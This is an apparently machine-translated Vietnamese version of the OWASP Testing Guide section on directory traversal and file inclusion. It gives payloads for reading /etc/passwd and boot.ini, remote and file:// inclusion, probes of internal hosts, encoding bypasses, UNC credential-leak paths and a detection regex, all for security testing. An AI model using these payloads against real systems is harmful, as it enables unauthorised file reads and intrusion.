Nhiều ứng dụng web sử dụng và quản lý tệp như một phần hoạt động hàng ngày của chúng. Sử dụng các phương pháp xác thực đầu vào chưa được thiết kế hoặc triển khai tốt, kẻ xâm lược có thể khai thác hệ thống để đọc hoặc ghi các tệp không nhằm mục đích truy cập. Trong các tình huống cụ thể, có thể thực thi mã hoặc lệnh hệ thống tùy ý.
Theo truyền thống, máy chủ web và ứng dụng web thực hiện cơ chế xác thực để kiểm soát quyền truy cập vào tệp và tài nguyên. Máy chủ web cố gắng giới hạn tệp của người dùng bên trong “thư mục gốc” hoặc “gốc tài liệu web”, đại diện cho một thư mục vật lý trên hệ thống tệp. Người dùng phải coi thư mục này là thư mục cơ sở trong cấu trúc phân cấp của ứng dụng web.
Các bài viết liên quan:
Định nghĩa về các đặc quyền được thực hiện bằng cách sử dụng Danh sách kiểm soát truy cập (ACL) để xác định người dùng hoặc nhóm nào được cho là có thể truy cập, sửa đổi hoặc thực thi một tệp cụ thể trên máy chủ. Các cơ chế này được thiết kế để ngăn người dùng độc hại truy cập vào các tệp nhạy cảm (ví dụ: tệp / etc / passwd phổ biến trên nền tảng giống UNIX) hoặc để tránh việc thực thi các lệnh hệ thống.
Nhiều ứng dụng web sử dụng tập lệnh phía máy chủ để bao gồm các loại tệp khác nhau. Phương pháp này khá phổ biến để quản lý hình ảnh, mẫu, tải văn bản tĩnh, v.v. Thật không may, các ứng dụng này để lộ lỗ hổng bảo mật nếu các tham số đầu vào (tức là tham số biểu mẫu, giá trị cookie) không được xác thực chính xác.
Trong các máy chủ web và các ứng dụng web, loại vấn đề này phát sinh trong các cuộc tấn công truyền tải đường dẫn / tệp bao gồm. Bằng cách khai thác loại lỗ hổng này, kẻ tấn công có thể đọc các thư mục hoặc tệp mà chúng thường không thể đọc, truy cập dữ liệu bên ngoài gốc tài liệu web hoặc bao gồm các tập lệnh và các loại tệp khác từ các trang web bên ngoài.
Theo mục đích của Hướng dẫn kiểm tra OWASP, chỉ các mối đe dọa bảo mật liên quan đến ứng dụng web mới được xem xét chứ không phải các mối đe dọa đối với máy chủ web (ví dụ: mã thoát% 5c khét tiếng vào máy chủ web Microsoft IIS). Các gợi ý đọc thêm sẽ được cung cấp trong phần tài liệu tham khảo cho bạn đọc quan tâm.
Loại tấn công này còn được gọi là tấn công dấu chấm-chấm-gạch chéo (../), duyệt thư mục, leo thư mục hoặc theo dõi ngược.
Trong quá trình đánh giá, để phát hiện ra việc truyền tải đường dẫn và tệp bao gồm các lỗ hổng, người kiểm tra cần thực hiện hai giai đoạn khác nhau:
- Liệt kê vectơ đầu vào (đánh giá có hệ thống từng vectơ đầu vào)
- Kỹ thuật kiểm tra (đánh giá phương pháp từng kỹ thuật tấn công được kẻ tấn công sử dụng để khai thác lỗ hổng)
Mục tiêu kiểm tra Directory Traversal File Include
- Xác định các điểm tiêm liên quan đến truyền qua đường dẫn.
- Đánh giá kỹ thuật bỏ qua và xác định mức độ của đường đi ngang.
Làm thế nào để kiểm tra Directory Traversal File Include
Black-Box Testing
- Input Vectors Enumeration
Để xác định phần nào của ứng dụng dễ bị bỏ qua xác thực đầu vào, người kiểm tra cần liệt kê tất cả các phần của ứng dụng chấp nhận nội dung từ người dùng. Điều này cũng bao gồm các truy vấn HTTP GET và POST và các tùy chọn phổ biến như tải lên tệp và biểu mẫu HTML.
Dưới đây là một số ví dụ về các kiểm tra được thực hiện ở giai đoạn này:
- Có các tham số yêu cầu có thể được sử dụng cho các hoạt động liên quan đến tệp không?
- Có phần mở rộng tệp bất thường không?
- Có những tên biến thú vị?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
Có thể xác định cookie được ứng dụng web sử dụng để tạo các trang hoặc mẫu động không?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
- Testing Techniques
Giai đoạn tiếp theo của thử nghiệm là phân tích các chức năng xác nhận đầu vào có trong ứng dụng web. Sử dụng ví dụ trước, trang động có tên getUserProfile.jsp tải thông tin tĩnh từ tệp và hiển thị nội dung cho người dùng. Kẻ tấn công có thể chèn chuỗi độc hại ../../../../etc/passwd để bao gồm tệp băm mật khẩu của hệ thống Linux / UNIX. Rõ ràng, kiểu tấn công này chỉ có thể xảy ra nếu điểm kiểm tra xác nhận không thành công; theo các đặc quyền của hệ thống tệp, bản thân ứng dụng web phải có khả năng đọc tệp.
Để kiểm tra thành công lỗ hổng này, người kiểm tra cần có kiến thức về hệ thống đang được kiểm tra và vị trí của các tệp được yêu cầu. Không có điểm nào yêu cầu / etc / passwd từ máy chủ web IIS.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
Đối với ví dụ về cookie:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
Cũng có thể bao gồm các tệp và tập lệnh nằm trên trang web bên ngoài:
http://example.com/index.php?file=http://www.site.com/malicioustxt
Nếu các giao thức được chấp nhận làm đối số, như trong ví dụ trên, thì cũng có thể thăm dò hệ thống tệp cục bộ theo cách này:
http://example.com/index.php?file=file:///etc/passwd
Nếu các giao thức được chấp nhận làm đối số, như trong các ví dụ trên, thì cũng chính là có thể thăm dò các dịch vụ địa phương và các dịch vụ lân cận:
- http://example.com/index.php?file=http://localhost:8080
- http://example.com/index.php?file=http://192.168.0.2:9080
Ví dụ sau đây sẽ chứng minh cách có thể hiển thị mã nguồn của thành phần CGI mà không cần sử dụng bất kỳ ký tự duyệt đường dẫn nào.
http://example.com/main.cgi?home=main.cgi
Thành phần được gọi là main.cgi nằm trong cùng thư mục với các tệp tĩnh HTML thông thường được ứng dụng sử dụng. Trong một số trường hợp, người kiểm tra cần mã hóa các yêu cầu bằng các ký tự đặc biệt (như. Dot,% 00 null, v.v.) để bỏ qua các điều khiển phần mở rộng tệp hoặc để ngăn việc thực thi tập lệnh.
Mẹo: Đó là một sai lầm phổ biến của các nhà phát triển khi không mong đợi mọi hình thức mã hóa và do đó chỉ thực hiện xác thực cho nội dung được mã hóa cơ bản. Nếu lúc đầu, chuỗi kiểm tra không thành công, hãy thử một lược đồ mã hóa khác.
Mỗi hệ điều hành sử dụng các ký tự khác nhau làm dấu phân cách đường dẫn:
Hệ điều hành giống Unix:
- thư mục gốc: /
- dấu phân cách thư mục: /
Hệ điều hành Windows:
- thư mục gốc: <ký tự ổ đĩa>:
- dấu phân tách thư mục: \ hoặc /
MacOS cổ điển:
- thư mục gốc: <ký tự ổ đĩa>:
- dấu phân tách thư mục::
Chúng ta nên xem xét các cơ chế mã hóa ký tự sau:
Mã hóa URL và mã hóa URL kép
- % 2e% 2e% 2f đại diện cho ../
- % 2e% 2e / đại diện cho ../
- ..% 2f đại diện cho ../
- % 2e% 2e% 5c đại diện cho .. \
- % 2e% 2e \ đại diện cho .. \
- ..% 5c đại diện cho .. \
- % 252e% 252e% 255c đại diện cho .. \
- ..% 255c đại diện cho .. \, v.v.
Mã hóa Unicode / UTF-8 (nó chỉ hoạt động trong các hệ thống có thể chấp nhận các chuỗi UTF-8 quá dài)
- ..% c0% af đại diện cho ../
- ..% c1% 9c đại diện cho .. \
Cũng có những cân nhắc cụ thể về hệ điều hành và khung ứng dụng khác. Ví dụ, Windows rất linh hoạt trong việc phân tích cú pháp các đường dẫn tệp.
Windows shell: Thêm bất kỳ điều nào sau đây vào các đường dẫn được sử dụng trong lệnh shell dẫn đến không có sự khác biệt về chức năng:
- Dấu ngoặc nhọn <và> ở cuối đường dẫn
- Dấu ngoặc kép (đóng đúng cách) ở cuối đường dẫn
- Các điểm đánh dấu thư mục hiện tại không liên quan như ./ hoặc. \\
- Các điểm đánh dấu thư mục mẹ không liên quan với các mục tùy ý có thể tồn tại hoặc không:
- file.txt
- file.txt …
- file.txt <spaces>
- file.txt “” “”
- file.txt <<< >>> <
- ./././file.txt
- nonexistant /../ file.txt
API Windows: Các mục sau sẽ bị loại bỏ khi được sử dụng trong bất kỳ lệnh shell hoặc lệnh gọi API nào trong đó một chuỗi được lấy làm tên tệp:
- Chu kỳ
- khoảng trống
Windows UNC Filepaths: Được sử dụng để tham chiếu các tệp trên chia sẻ SMB. Đôi khi, một ứng dụng có thể được tạo để tham chiếu đến các tệp trên đường dẫn tệp UNC từ xa. Nếu vậy, máy chủ Windows SMB có thể gửi thông tin đăng nhập đã lưu trữ cho kẻ tấn công, chúng có thể bị bắt và bẻ khóa. Chúng cũng có thể được sử dụng với địa chỉ IP hoặc tên miền tự tham chiếu để tránh các bộ lọc hoặc được sử dụng để truy cập các tệp trên SMB chia sẻ không thể truy cập được đối với kẻ tấn công, nhưng có thể truy cập được từ máy chủ web.
- \\ server_or_ip \ path \ to \ file.abc
- \\? \ server_or_ip \ path \ to \ file.abc
Không gian tên thiết bị Windows NT: Được sử dụng để chỉ không gian tên thiết bị Windows. Các tham chiếu nhất định sẽ cho phép truy cập vào hệ thống tệp bằng một đường dẫn khác.
- Có thể tương đương với ký tự ổ đĩa như c: \, hoặc thậm chí là ổ đĩa không có ký tự được gán: \\. \ GLOBALROOT \ Device \ HarddiskVolume1 \
- Đề cập đến ổ đĩa đầu tiên trên máy: \\. \ CdRom0 \
Gray-Box Testing
Khi phân tích được thực hiện với phương pháp thử nghiệm hộp xám, người thử nghiệm phải tuân theo cùng một phương pháp như trong thử nghiệm hộp đen. Tuy nhiên, vì họ có thể xem lại mã nguồn, nên có thể tìm kiếm các vectơ đầu vào dễ dàng và chính xác hơn. Trong quá trình xem xét mã nguồn, họ có thể sử dụng các công cụ đơn giản (chẳng hạn như lệnh grep) để tìm kiếm một hoặc nhiều mẫu phổ biến trong mã ứng dụng: hàm / phương pháp bao gồm, hoạt động hệ thống tệp, v.v.
- PHP: bao gồm (), bao gồm (), yêu cầu (), yêu cầu_once (), fopen (), readfile (), …
- JSP / Servlet: java.io.File (), java.io.FileReader (), …
- ASP: bao gồm tệp, bao gồm ảo, …
Bằng cách sử dụng các công cụ tìm kiếm mã trực tuyến (ví dụ: Mã tìm kiếm), cũng có thể tìm thấy các lỗ hổng truyền qua đường dẫn trong phần mềm Nguồn mở được xuất bản trên Internet.
Đối với PHP, người kiểm tra có thể sử dụng regex sau:
(include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Sử dụng phương pháp kiểm tra hộp xám, có thể phát hiện ra các lỗ hổng thường khó phát hiện hơn hoặc thậm chí không thể tìm thấy trong quá trình đánh giá hộp đen tiêu chuẩn.
Một số ứng dụng web tạo các trang động bằng cách sử dụng các giá trị và tham số được lưu trữ trong cơ sở dữ liệu. Có thể chèn các chuỗi duyệt đường dẫn được chế tạo đặc biệt khi ứng dụng thêm dữ liệu vào cơ sở dữ liệu. Loại vấn đề bảo mật này rất khó phát hiện do thực tế là các tham số bên trong các hàm bao gồm có vẻ bên trong và an toàn nhưng thực tế không phải như vậy.
Ngoài ra, bằng cách xem xét mã nguồn, có thể phân tích các chức năng được cho là xử lý đầu vào không hợp lệ: một số nhà phát triển cố gắng thay đổi đầu vào không hợp lệ để làm cho nó hợp lệ, tránh các cảnh báo và lỗi. Các chức năng này thường dễ xảy ra lỗi bảo mật.
Hãy xem xét một ứng dụng web với các hướng dẫn sau:
filename = Request.QueryString("file"); Replace(filename, "/","\"); Replace(filename, "..\","");
Kiểm tra lỗ hổng đạt được bằng cách:
file=....//....//boot.ini file=....\\....\\boot.ini file= ..\..\boot.ini